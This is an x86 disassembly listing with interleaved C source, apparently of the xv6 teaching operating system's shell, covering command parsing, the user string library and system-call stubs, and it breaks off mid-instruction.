7e0: 55 push %ebp 7e1: 89 e5 mov %esp,%ebp 7e3: 57 push %edi 7e4: 56 push %esi 7e5: 53 push %ebx 7e6: 83 ec 14 sub $0x14,%esp 7e9: 8b 5d 08 mov 0x8(%ebp),%ebx 7ec: 8b 75 0c mov 0xc(%ebp),%esi cmd = parseexec(ps, es); 7ef: 56 push %esi 7f0: 53 push %ebx 7f1: e8 da fe ff ff call 6d0 <parseexec> if(peek(ps, es, "|")){ 7f6: 83 c4 0c add $0xc,%esp cmd = parseexec(ps, es); 7f9: 89 c7 mov %eax,%edi if(peek(ps, es, "|")){ 7fb: 68 c0 11 00 00 push $0x11c0 800: 56 push %esi 801: 53 push %ebx 802: e8 a9 fd ff ff call 5b0 <peek> 807: 83 c4 10 add $0x10,%esp 80a: 85 c0 test %eax,%eax 80c: 75 12 jne 820 <parsepipe+0x40> } 80e: 8d 65 f4 lea -0xc(%ebp),%esp 811: 89 f8 mov %edi,%eax 813: 5b pop %ebx 814: 5e pop %esi 815: 5f pop %edi 816: 5d pop %ebp 817: c3 ret 818: 90 nop 819: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi gettoken(ps, es, 0, 0); 820: 6a 00 push $0x0 822: 6a 00 push $0x0 824: 56 push %esi 825: 53 push %ebx 826: e8 25 fc ff ff call 450 <gettoken> cmd = pipecmd(cmd, parsepipe(ps, es)); 82b: 58 pop %eax 82c: 5a pop %edx 82d: 56 push %esi 82e: 53 push %ebx 82f: e8 ac ff ff ff call 7e0 <parsepipe> 834: 89 7d 08 mov %edi,0x8(%ebp) 837: 89 45 0c mov %eax,0xc(%ebp) 83a: 83 c4 10 add $0x10,%esp } 83d: 8d 65 f4 lea -0xc(%ebp),%esp 840: 5b pop %ebx 841: 5e pop %esi 842: 5f pop %edi 843: 5d pop %ebp cmd = pipecmd(cmd, parsepipe(ps, es)); 844: e9 57 fb ff ff jmp 3a0 <pipecmd> 849: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000850 <parseline>: { 850: 55 push %ebp 851: 89 e5 mov %esp,%ebp 853: 57 push %edi 854: 56 push %esi 855: 53 push %ebx 856: 83 ec 14 sub $0x14,%esp 859: 8b 5d 08 mov 0x8(%ebp),%ebx 85c: 8b 75 0c mov 0xc(%ebp),%esi cmd = parsepipe(ps, es); 85f: 56 push %esi 860: 53 push %ebx 861: e8 7a ff ff ff call 7e0 <parsepipe> while(peek(ps, es, "&")){ 866: 83 c4 10 add $0x10,%esp cmd = parsepipe(ps, es); 869: 89 c7 mov %eax,%edi while(peek(ps, es, "&")){ 86b: eb 1b jmp 888 <parseline+0x38> 86d: 8d 76 00 lea 0x0(%esi),%esi gettoken(ps, es, 0, 0); 870: 6a 00 push $0x0 872: 6a 00 push $0x0 874: 56 push %esi 875: 53 push %ebx 876: e8 d5 fb ff ff call 450 <gettoken> cmd = backcmd(cmd); 87b: 89 3c 24 mov %edi,(%esp) 87e: e8 9d fb ff ff call 420 <backcmd> 883: 83 c4 10 add $0x10,%esp 886: 89 c7 mov %eax,%edi while(peek(ps, es, "&")){ 888: 83 ec 04 sub $0x4,%esp 88b: 68 c2 11 00 00 push $0x11c2 890: 56 push %esi 891: 53 push %ebx 892: e8 19 fd ff ff call 5b0 <peek> 897: 83 c4 10 add $0x10,%esp 89a: 85 c0 test %eax,%eax 89c: 75 d2 jne 870 <parseline+0x20> if(peek(ps, es, ";")){ 89e: 83 ec 04 sub $0x4,%esp 8a1: 68 be 11 00 00 push $0x11be 8a6: 56 push %esi 8a7: 53 push %ebx 8a8: e8 03 fd ff ff call 5b0 <peek> 8ad: 83 c4 10 add $0x10,%esp 8b0: 85 c0 test %eax,%eax 8b2: 75 0c jne 8c0 <parseline+0x70> } 8b4: 8d 65 f4 lea -0xc(%ebp),%esp 8b7: 89 f8 mov %edi,%eax 8b9: 5b pop %ebx 8ba: 5e pop %esi 8bb: 5f pop %edi 8bc: 5d pop %ebp 8bd: c3 ret 8be: 66 90 xchg %ax,%ax gettoken(ps, es, 0, 0); 8c0: 6a 00 push $0x0 8c2: 6a 00 push $0x0 8c4: 56 push %esi 8c5: 53 push %ebx 8c6: e8 85 fb ff ff call 450 <gettoken> cmd = listcmd(cmd, parseline(ps, es)); 8cb: 58 pop %eax 8cc: 5a pop %edx 8cd: 56 push %esi 8ce: 53 push %ebx 8cf: e8 7c ff ff ff call 850 <parseline> 8d4: 89 7d 08 mov %edi,0x8(%ebp) 8d7: 89 45 0c mov %eax,0xc(%ebp) 8da: 83 c4 10 add $0x10,%esp } 8dd: 8d 65 f4 lea -0xc(%ebp),%esp 8e0: 5b pop %ebx 8e1: 5e pop %esi 8e2: 5f pop %edi 8e3: 5d pop %ebp cmd = listcmd(cmd, parseline(ps, es)); 8e4: e9 f7 fa ff ff jmp 3e0 <listcmd> 8e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000008f0 <parseblock>: { 8f0: 55 push %ebp 8f1: 89 e5 mov %esp,%ebp 8f3: 57 push %edi 8f4: 56 push %esi 8f5: 53 push %ebx 8f6: 83 ec 10 sub $0x10,%esp 8f9: 8b 5d 08 mov 0x8(%ebp),%ebx 8fc: 8b 75 0c mov 0xc(%ebp),%esi if(!peek(ps, es, "(")) 8ff: 68 a4 11 00 00 push $0x11a4 904: 56 push %esi 905: 53 push %ebx 906: e8 a5 fc ff ff call 5b0 <peek> 90b: 83 c4 10 add $0x10,%esp 90e: 85 c0 test %eax,%eax 910: 74 4a je 95c <parseblock+0x6c> gettoken(ps, es, 0, 0); 912: 6a 00 push $0x0 914: 6a 00 push $0x0 916: 56 push %esi 917: 53 push %ebx 918: e8 33 fb ff ff call 450 <gettoken> cmd = parseline(ps, es); 91d: 58 pop %eax 91e: 5a pop %edx 91f: 56 push %esi 920: 53 push %ebx 921: e8 2a ff ff ff call 850 <parseline> if(!peek(ps, es, ")")) 926: 83 c4 0c add $0xc,%esp cmd = parseline(ps, es); 929: 89 c7 mov %eax,%edi if(!peek(ps, es, ")")) 92b: 68 e0 11 00 00 push $0x11e0 930: 56 push %esi 931: 53 push %ebx 932: e8 79 fc ff ff call 5b0 <peek> 937: 83 c4 10 add $0x10,%esp 93a: 85 c0 test %eax,%eax 93c: 74 2b je 969 <parseblock+0x79> gettoken(ps, es, 0, 0); 93e: 6a 00 push $0x0 940: 6a 00 push $0x0 942: 56 push %esi 943: 53 push %ebx 944: e8 07 fb ff ff call 450 <gettoken> cmd = parseredirs(cmd, ps, es); 949: 83 c4 0c add $0xc,%esp 94c: 56 push %esi 94d: 53 push %ebx 94e: 57 push %edi 94f: e8 cc fc ff ff call 620 <parseredirs> } 954: 8d 65 f4 lea -0xc(%ebp),%esp 957: 5b pop %ebx 958: 5e pop %esi 959: 5f pop %edi 95a: 5d pop %ebp 95b: c3 ret panic("parseblock"); 95c: 83 ec 0c sub $0xc,%esp 95f: 68 c4 11 00 00 push $0x11c4 964: e8 e7 f7 ff ff call 150 <panic> panic("syntax - missing )"); 969: 83 ec 0c sub $0xc,%esp 96c: 68 cf 11 00 00 push $0x11cf 971: e8 da f7 ff ff call 150 <panic> 976: 8d 76 00 lea 0x0(%esi),%esi 979: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000980 <nulterminate>: // NUL-terminate all the counted strings. struct cmd* nulterminate(struct cmd *cmd) { 980: 55 push %ebp 981: 89 e5 mov %esp,%ebp 983: 53 push %ebx 984: 83 ec 04 sub $0x4,%esp 987: 8b 5d 08 mov 0x8(%ebp),%ebx struct execcmd *ecmd; struct listcmd *lcmd; struct pipecmd *pcmd; struct redircmd *rcmd; if(cmd == 0) 98a: 85 db test %ebx,%ebx 98c: 74 20 je 9ae <nulterminate+0x2e> return 0; switch(cmd->type){ 98e: 83 3b 05 cmpl $0x5,(%ebx) 991: 77 1b ja 9ae <nulterminate+0x2e> 993: 8b 03 mov (%ebx),%eax 995: ff 24 85 20 12 00 00 jmp *0x1220(,%eax,4) 99c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi nulterminate(lcmd->right); break; case BACK: bcmd = (struct backcmd*)cmd; nulterminate(bcmd->cmd); 9a0: 83 ec 0c sub $0xc,%esp 9a3: ff 73 04 pushl 0x4(%ebx) 9a6: e8 d5 ff ff ff call 980 <nulterminate> break; 9ab: 83 c4 10 add $0x10,%esp } return cmd; } 9ae: 89 d8 mov %ebx,%eax 9b0: 8b 5d fc mov -0x4(%ebp),%ebx 9b3: c9 leave 9b4: c3 ret 9b5: 8d 76 00 lea 0x0(%esi),%esi nulterminate(lcmd->left); 9b8: 83 ec 0c sub $0xc,%esp 9bb: ff 73 04 pushl 0x4(%ebx) 9be: e8 bd ff ff ff call 980 <nulterminate> nulterminate(lcmd->right); 9c3: 58 pop %eax 9c4: ff 73 08 pushl 0x8(%ebx) 9c7: e8 b4 ff ff ff call 980 <nulterminate> } 9cc: 89 d8 mov %ebx,%eax break; 9ce: 83 c4 10 add $0x10,%esp } 9d1: 8b 5d fc mov -0x4(%ebp),%ebx 9d4: c9 leave 9d5: c3 ret 9d6: 8d 76 00 lea 0x0(%esi),%esi 9d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi for(i=0; ecmd->argv[i]; i++) 9e0: 8b 4b 04 mov 0x4(%ebx),%ecx 9e3: 8d 43 08 lea 0x8(%ebx),%eax 9e6: 85 c9 test %ecx,%ecx 9e8: 74 c4 je 9ae <nulterminate+0x2e> 9ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi *ecmd->eargv[i] = 0; 9f0: 8b 50 24 mov 0x24(%eax),%edx 9f3: 83 c0 04 add $0x4,%eax 9f6: c6 02 00 movb $0x0,(%edx) for(i=0; ecmd->argv[i]; i++) 9f9: 8b 50 fc mov -0x4(%eax),%edx 9fc: 85 d2 test %edx,%edx 9fe: 75 f0 jne 9f0 <nulterminate+0x70> } a00: 89 d8 mov %ebx,%eax a02: 8b 5d fc mov -0x4(%ebp),%ebx a05: c9 leave a06: c3 ret a07: 89 f6 mov %esi,%esi a09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi nulterminate(rcmd->cmd); a10: 83 ec 0c sub $0xc,%esp a13: ff 73 04 pushl 0x4(%ebx) a16: e8 65 ff ff ff call 980 <nulterminate> *rcmd->efile = 0; a1b: 8b 43 0c mov 0xc(%ebx),%eax break; a1e: 83 c4 10 add $0x10,%esp *rcmd->efile = 0; a21: c6 00 00 movb $0x0,(%eax) } a24: 89 d8 mov %ebx,%eax a26: 8b 5d fc mov -0x4(%ebp),%ebx a29: c9 leave a2a: c3 ret a2b: 90 nop a2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000a30 <parsecmd>: { a30: 55 push %ebp a31: 89 e5 mov %esp,%ebp a33: 56 push %esi a34: 53 push %ebx es = s + strlen(s); a35: 8b 5d 08 mov 0x8(%ebp),%ebx a38: 83 ec 0c sub $0xc,%esp a3b: 53 push %ebx a3c: e8 df 00 00 00 call b20 <strlen> cmd = parseline(&s, es); a41: 59 pop %ecx es = s + strlen(s); a42: 01 c3 add %eax,%ebx cmd = parseline(&s, es); a44: 8d 45 08 lea 0x8(%ebp),%eax a47: 5e pop %esi a48: 53 push %ebx a49: 50 push %eax a4a: e8 01 fe ff ff call 850 <parseline> a4f: 89 c6 mov %eax,%esi peek(&s, es, ""); a51: 8d 45 08 lea 0x8(%ebp),%eax a54: 83 c4 0c add $0xc,%esp a57: 68 6e 11 00 00 push $0x116e a5c: 53 push %ebx a5d: 50 push %eax a5e: e8 4d fb ff ff call 5b0 <peek> if(s != es){ a63: 8b 45 08 mov 0x8(%ebp),%eax a66: 83 c4 10 add $0x10,%esp a69: 39 c3 cmp %eax,%ebx a6b: 75 12 jne a7f <parsecmd+0x4f> nulterminate(cmd); a6d: 83 ec 0c sub $0xc,%esp a70: 56 push %esi a71: e8 0a ff ff ff call 980 <nulterminate> } a76: 8d 65 f8 lea -0x8(%ebp),%esp a79: 89 f0 mov %esi,%eax a7b: 5b pop %ebx a7c: 5e pop %esi a7d: 5d pop %ebp a7e: c3 ret printf(2, "leftovers: %s\n", s); a7f: 52 push %edx a80: 50 push %eax a81: 68 e2 11 00 00 push $0x11e2 a86: 6a 02 push $0x2 a88: e8 a3 03 00 00 call e30 <printf> panic("syntax"); a8d: c7 04 24 a6 11 00 00 movl $0x11a6,(%esp) a94: e8 b7 f6 ff ff call 150 <panic> a99: 66 90 xchg %ax,%ax a9b: 66 90 xchg %ax,%ax a9d: 66 90 xchg %ax,%ax a9f: 90 nop 00000aa0 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { aa0: 55 push %ebp aa1: 89 e5 mov %esp,%ebp aa3: 53 push %ebx aa4: 8b 45 08 mov 0x8(%ebp),%eax aa7: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) aaa: 89 c2 mov %eax,%edx aac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi ab0: 83 c1 01 add $0x1,%ecx ab3: 0f b6 59 ff movzbl -0x1(%ecx),%ebx ab7: 83 c2 01 add $0x1,%edx aba: 84 db test %bl,%bl abc: 88 5a ff mov %bl,-0x1(%edx) abf: 75 ef jne ab0 <strcpy+0x10> ; return os; } ac1: 5b pop %ebx ac2: 5d pop %ebp ac3: c3 ret ac4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi aca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000ad0 <strcmp>: int strcmp(const char *p, const char *q) { ad0: 55 push %ebp ad1: 89 e5 mov %esp,%ebp ad3: 56 push %esi ad4: 53 push %ebx ad5: 8b 55 08 mov 0x8(%ebp),%edx ad8: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) adb: 0f b6 02 movzbl (%edx),%eax ade: 0f b6 19 movzbl (%ecx),%ebx ae1: 84 c0 test %al,%al ae3: 75 1e jne b03 <strcmp+0x33> ae5: eb 29 jmp b10 <strcmp+0x40> ae7: 89 f6 mov %esi,%esi ae9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; af0: 83 c2 01 add $0x1,%edx while(*p && *p == *q) af3: 0f b6 02 movzbl (%edx),%eax p++, q++; af6: 8d 71 01 lea 0x1(%ecx),%esi while(*p && *p == *q) af9: 0f b6 59 01 movzbl 0x1(%ecx),%ebx afd: 84 c0 test %al,%al aff: 74 0f je b10 <strcmp+0x40> b01: 89 f1 mov %esi,%ecx b03: 38 d8 cmp %bl,%al b05: 74 e9 je af0 <strcmp+0x20> return (uchar)*p - (uchar)*q; b07: 29 d8 sub %ebx,%eax } b09: 5b pop %ebx b0a: 5e pop %esi b0b: 5d pop %ebp b0c: c3 ret b0d: 8d 76 00 lea 0x0(%esi),%esi while(*p && *p == *q) b10: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; b12: 29 d8 sub %ebx,%eax } b14: 5b pop %ebx b15: 5e pop %esi b16: 5d pop %ebp b17: c3 ret b18: 90 nop b19: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000b20 <strlen>: uint strlen(const char *s) { b20: 55 push %ebp b21: 89 e5 mov %esp,%ebp b23: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) b26: 80 39 00 cmpb $0x0,(%ecx) b29: 74 12 je b3d <strlen+0x1d> b2b: 31 d2 xor %edx,%edx b2d: 8d 76 00 lea 0x0(%esi),%esi b30: 83 c2 01 add $0x1,%edx b33: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) b37: 89 d0 mov %edx,%eax b39: 75 f5 jne b30 <strlen+0x10> ; return n; } b3b: 5d pop %ebp b3c: c3 ret for(n = 0; s[n]; n++) b3d: 31 c0 xor %eax,%eax } b3f: 5d pop %ebp b40: c3 ret b41: eb 0d jmp b50 <memset> b43: 90 nop b44: 90 nop b45: 90 nop b46: 90 nop b47: 90 nop b48: 90 nop b49: 90 nop b4a: 90 nop b4b: 90 nop b4c: 90 nop b4d: 90 nop b4e: 90 nop b4f: 90 nop 00000b50 <memset>: void* memset(void *dst, int c, uint n) { b50: 55 push %ebp b51: 89 e5 mov %esp,%ebp b53: 57 push %edi b54: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : b57: 8b 4d 10 mov 0x10(%ebp),%ecx b5a: 8b 45 0c mov 0xc(%ebp),%eax b5d: 89 d7 mov %edx,%edi b5f: fc cld b60: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } b62: 89 d0 mov %edx,%eax b64: 5f pop %edi b65: 5d pop %ebp b66: c3 ret b67: 89 f6 mov %esi,%esi b69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000b70 <strchr>: char* strchr(const char *s, char c) { b70: 55 push %ebp b71: 89 e5 mov %esp,%ebp b73: 53 push %ebx b74: 8b 45 08 mov 0x8(%ebp),%eax b77: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) b7a: 0f b6 10 movzbl (%eax),%edx b7d: 84 d2 test %dl,%dl b7f: 74 1d je b9e <strchr+0x2e> if(*s == c) b81: 38 d3 cmp %dl,%bl b83: 89 d9 mov %ebx,%ecx b85: 75 0d jne b94 <strchr+0x24> b87: eb 17 jmp ba0 <strchr+0x30> b89: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi b90: 38 ca cmp %cl,%dl b92: 74 0c je ba0 <strchr+0x30> for(; *s; s++) b94: 83 c0 01 add $0x1,%eax b97: 0f b6 10 movzbl (%eax),%edx b9a: 84 d2 test %dl,%dl b9c: 75 f2 jne b90 <strchr+0x20> return (char*)s; return 0; b9e: 31 c0 xor %eax,%eax } ba0: 5b pop %ebx ba1: 5d pop %ebp ba2: c3 ret ba3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi ba9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000bb0 <gets>: char* gets(char *buf, int max) { bb0: 55 push %ebp bb1: 89 e5 mov %esp,%ebp bb3: 57 push %edi bb4: 56 push %esi bb5: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ bb6: 31 f6 xor %esi,%esi cc = read(0, &c, 1); bb8: 8d 7d e7 lea -0x19(%ebp),%edi { bbb: 83 ec 1c sub $0x1c,%esp for(i=0; i+1 < max; ){ bbe: eb 29 jmp be9 <gets+0x39> cc = read(0, &c, 1); bc0: 83 ec 04 sub $0x4,%esp bc3: 6a 01 push $0x1 bc5: 57 push %edi bc6: 6a 00 push $0x0 bc8: e8 2d 01 00 00 call cfa <read> if(cc < 1) bcd: 83 c4 10 add $0x10,%esp bd0: 85 c0 test %eax,%eax bd2: 7e 1d jle bf1 <gets+0x41> break; buf[i++] = c; bd4: 0f b6 45 e7 movzbl -0x19(%ebp),%eax bd8: 8b 55 08 mov 0x8(%ebp),%edx bdb: 89 de mov %ebx,%esi if(c == '\n' || c == '\r') bdd: 3c 0a cmp $0xa,%al buf[i++] = c; bdf: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') be3: 74 1b je c00 <gets+0x50> be5: 3c 0d cmp $0xd,%al be7: 74 17 je c00 <gets+0x50> for(i=0; i+1 < max; ){ be9: 8d 5e 01 lea 0x1(%esi),%ebx bec: 3b 5d 0c cmp 0xc(%ebp),%ebx bef: 7c cf jl bc0 <gets+0x10> break; } buf[i] = '\0'; bf1: 8b 45 08 mov 0x8(%ebp),%eax bf4: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } bf8: 8d 65 f4 lea -0xc(%ebp),%esp bfb: 5b pop %ebx bfc: 5e pop %esi bfd: 5f pop %edi bfe: 5d pop %ebp bff: c3 ret buf[i] = '\0'; c00: 8b 45 08 mov 0x8(%ebp),%eax for(i=0; i+1 < max; ){ c03: 89 de mov %ebx,%esi buf[i] = '\0'; c05: c6 04 30 00 movb $0x0,(%eax,%esi,1) } c09: 8d 65 f4 lea -0xc(%ebp),%esp c0c: 5b pop %ebx c0d: 5e pop %esi c0e: 5f pop %edi c0f: 5d pop %ebp c10: c3 ret c11: eb 0d jmp c20 <stat> c13: 90 nop c14: 90 nop c15: 90 nop c16: 90 nop c17: 90 nop c18: 90 nop c19: 90 nop c1a: 90 nop c1b: 90 nop c1c: 90 nop c1d: 90 nop c1e: 90 nop c1f: 90 nop 00000c20 <stat>: int stat(const char *n, struct stat *st) { c20: 55 push %ebp c21: 89 e5 mov %esp,%ebp c23: 56 push %esi c24: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); c25: 83 ec 08 sub $0x8,%esp c28: 6a 00 push $0x0 c2a: ff 75 08 pushl 0x8(%ebp) c2d: e8 f0 00 00 00 call d22 <open> if(fd < 0) c32: 83 c4 10 add $0x10,%esp c35: 85 c0 test %eax,%eax c37: 78 27 js c60 <stat+0x40> return -1; r = fstat(fd, st); c39: 83 ec 08 sub $0x8,%esp c3c: ff 75 0c pushl 0xc(%ebp) c3f: 89 c3 mov %eax,%ebx c41: 50 push %eax c42: e8 f3 00 00 00 call d3a <fstat> close(fd); c47: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); c4a: 89 c6 mov %eax,%esi close(fd); c4c: e8 b9 00 00 00 call d0a <close> return r; c51: 83 c4 10 add $0x10,%esp } c54: 8d 65 f8 lea -0x8(%ebp),%esp c57: 89 f0 mov %esi,%eax c59: 5b pop %ebx c5a: 5e pop %esi c5b: 5d pop %ebp c5c: c3 ret c5d: 8d 76 00 lea 0x0(%esi),%esi return -1; c60: be ff ff ff ff mov $0xffffffff,%esi c65: eb ed jmp c54 <stat+0x34> c67: 89 f6 mov %esi,%esi c69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000c70 <atoi>: int atoi(const char *s) { c70: 55 push %ebp c71: 89 e5 mov %esp,%ebp c73: 53 push %ebx c74: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') c77: 0f be 11 movsbl (%ecx),%edx c7a: 8d 42 d0 lea -0x30(%edx),%eax c7d: 3c 09 cmp $0x9,%al c7f: b8 00 00 00 00 mov $0x0,%eax c84: 77 1f ja ca5 <atoi+0x35> c86: 8d 76 00 lea 0x0(%esi),%esi c89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; c90: 8d 04 80 lea (%eax,%eax,4),%eax c93: 83 c1 01 add $0x1,%ecx c96: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') c9a: 0f be 11 movsbl (%ecx),%edx c9d: 8d 5a d0 lea -0x30(%edx),%ebx ca0: 80 fb 09 cmp $0x9,%bl ca3: 76 eb jbe c90 <atoi+0x20> return n; } ca5: 5b pop %ebx ca6: 5d pop %ebp ca7: c3 ret ca8: 90 nop ca9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000cb0 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { cb0: 55 push %ebp cb1: 89 e5 mov %esp,%ebp cb3: 56 push %esi cb4: 53 push %ebx cb5: 8b 5d 10 mov 0x10(%ebp),%ebx cb8: 8b 45 08 mov 0x8(%ebp),%eax cbb: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) cbe: 85 db test %ebx,%ebx cc0: 7e 14 jle cd6 <memmove+0x26> cc2: 31 d2 xor %edx,%edx cc4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; cc8: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx ccc: 88 0c 10 mov %cl,(%eax,%edx,1) ccf: 83 c2 01 add $0x1,%edx while(n-- > 0) cd2: 39 da cmp %ebx,%edx cd4: 75 f2 jne cc8 <memmove+0x18> return vdst; } cd6: 5b pop %ebx cd7: 5e pop %esi cd8: 5d pop %ebp cd9: c3 ret 00000cda <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) cda: b8 01 00 00 00 mov $0x1,%eax cdf: cd 40 int $0x40 ce1: c3 ret 00000ce2 <exit>: SYSCALL(exit) ce2: b8 02 00 00 00 mov $0x2,%eax ce7: cd 40 int $0x40 ce9: c3 ret 00000cea <wait>: SYSCALL(wait) cea: b8 03 00 00 00 mov $0x3,%eax cef: cd 40 int $0x40 cf1: c3 ret 00000cf2 <pipe>: SYSCALL(pipe) cf2: b8 04 00 00 00 mov $0x4,%eax cf7: cd 40 int $0x40 cf9: c3 ret 00000cfa <read>: SYSCALL(read) cfa: b8 05 00 00 00 mov $0x5,%eax cff: cd 40 int $0x40 d01: c3 ret 00000d02 <write>: SYSCALL(write) d02: b8 10 00 00 00 mov $0x10,%eax d07: cd 40 int $0x40 d09: c3 ret 00000d0a <close>: SYSCALL(close) d0a: b8 15 00 00 00 mov $0x15,%eax d0f: cd 40 int $0x40 d11: c3 ret 00000d12 <kill>: SYSCALL(kill) d12: b8 06 00 00 00 mov $0x6,%eax d17: cd 40 int $0x40 d19: c3 ret 00000d1a <exec>: SYSCALL(exec) d1a: b8 07 00 00 00 mov $0x7,%eax d1f: cd 40 int $0x40 d21: c3 ret 00000d22 <open>: SYSCALL(open) d22: b8 0f 00 00 00 mov $0xf,%eax d27: cd 40 int $0x40 d29: c3 ret 00000d2a <mknod>: SYSCALL(mknod) d2a: b8 11 00 00 00 mov $0x11,%eax d2f: cd 40 int $0x40 d31: c3 ret 00000d32 <unlink>: SYSCALL(unlink) d32: b8 12 00 00 00 mov $0x12,%eax d37: cd 40 int $0x40 d39: c3 ret 00000d3a <fstat>: SYSCALL(fstat) d3a: b8 08 00 00 00 mov $0x8,%eax d3f: cd 40 int $0x40 d41: c3 ret 00000d42 <link>: SYSCALL(link) d42: b8 13 00 00 00 mov $0x13,%eax d47: cd 40 int $0x40 d49: c3 ret 00000d4a <mkdir>: SYSCALL(mkdir) d4a: b8 14 00 00 00 mov $0x14,%eax d4f: cd 40 int $0x40 d51: c3 ret 00000d52 <chdir>: SYSCALL(chdir) d52: b8 09 00 00 00 mov $0x9,%eax d57: cd 40 int $0x40 d59: c3 ret 00000d5a <dup>: SYSCALL(dup) d5a: b8 0a 00 00 00 mov $0xa,%eax d5f: cd 40 int $0x40 d61: c3 ret 00000d62 <getpid>: SYSCALL(getpid) d62: b8 0b 00 00 00 mov $0xb,%eax d67: cd 40 int $0x40 d69: c3 ret 00000d6a <sbrk>: SYSCALL(sbrk) d6a: b8 0c 00 00 00 mov $0xc,%eax d6f: cd 40 int $0x40 d71: c3 ret 00000d72 <sleep>: SYSCALL(sleep) d72: b8 0d 00 00 00 mov $0xd,%eax d77: cd 40 int $0x40 d79: c3 ret 00000d7a <uptime>: SYSCALL(uptime) d7a: b8 0e 00 00 00 mov $0xe,%eax d7f: cd 40 int $0x40 d81: c3 ret d82: 66 90 xchg %ax,%ax d84: 66 90 xchg %ax,%ax d86: 66 90 xchg %ax,%ax d88: 66 90 xchg %ax,%ax d8a: 66 90 xchg %ax,%ax d8c: 66 90 xchg %ax,%ax d8e: 66 90 xchg %ax,%ax 00000d90 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { d90: 55 push %ebp d91: 89 e5 mov %esp,%ebp d93: 57 push %edi d94: 56 push %esi d95: 53 push %ebx d96: 89 c6 mov %eax,%esi d98: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ d9b: 8b 5d 08 mov 0x8(%ebp),%ebx d9e: 85 db test %ebx,%ebx da0: 74 7e je e20 <printint+0x90> da2: 89 d0 mov %edx,%eax da4: c1 e8 1f shr $0x1f,%eax da7: 84 c0 test %al,%al da9: 74 75 je e20 <printint+0x90> neg = 1; x = -xx; dab: 89 d0 mov %edx,%eax neg = 1; dad: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) x = -xx; db4: f7 d8 neg %eax db6: 89 75 c0 mov %esi,-0x40(%ebp) } else { x = xx; } i = 0; db9: 31 ff xor %edi,%edi dbb: 8d 5d d7 lea -0x29(%ebp),%ebx dbe: 89 ce mov %ecx,%esi dc0: eb 08 jmp dca <printint+0x3a> dc2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; dc8: 89 cf mov %ecx,%edi dca: 31 d2 xor %edx,%edx dcc: 8d 4f 01 lea 0x1(%edi),%ecx dcf: f7 f6 div %esi dd1: 0f b6 92 40 12 00 00 movzbl 0x1240(%edx),%edx }while((x /= base) != 0); dd8: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; dda: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); ddd: 75 e9 jne dc8 <printint+0x38> if(neg) ddf: 8b 45 c4 mov -0x3c(%ebp),%eax de2: 8b 75 c0 mov -0x40(%ebp),%esi de5: 85 c0 test %eax,%eax de7: 74 08 je df1 <printint+0x61> buf[i++] = '-'; de9: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1) dee: 8d 4f 02 lea 0x2(%edi),%ecx while(--i >= 0) df1: 8d 79 ff lea -0x1(%ecx),%edi df4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi df8: 0f b6 44 3d d8 movzbl -0x28(%ebp,%edi,1),%eax write(fd, &c, 1); dfd: 83 ec 04 sub $0x4,%esp while(--i >= 0) e00: 83 ef 01 sub $0x1,%edi write(fd, &c, 1); e03: 6a 01 push $0x1 e05: 53 push %ebx e06: 56 push %esi e07: 88 45 d7 mov 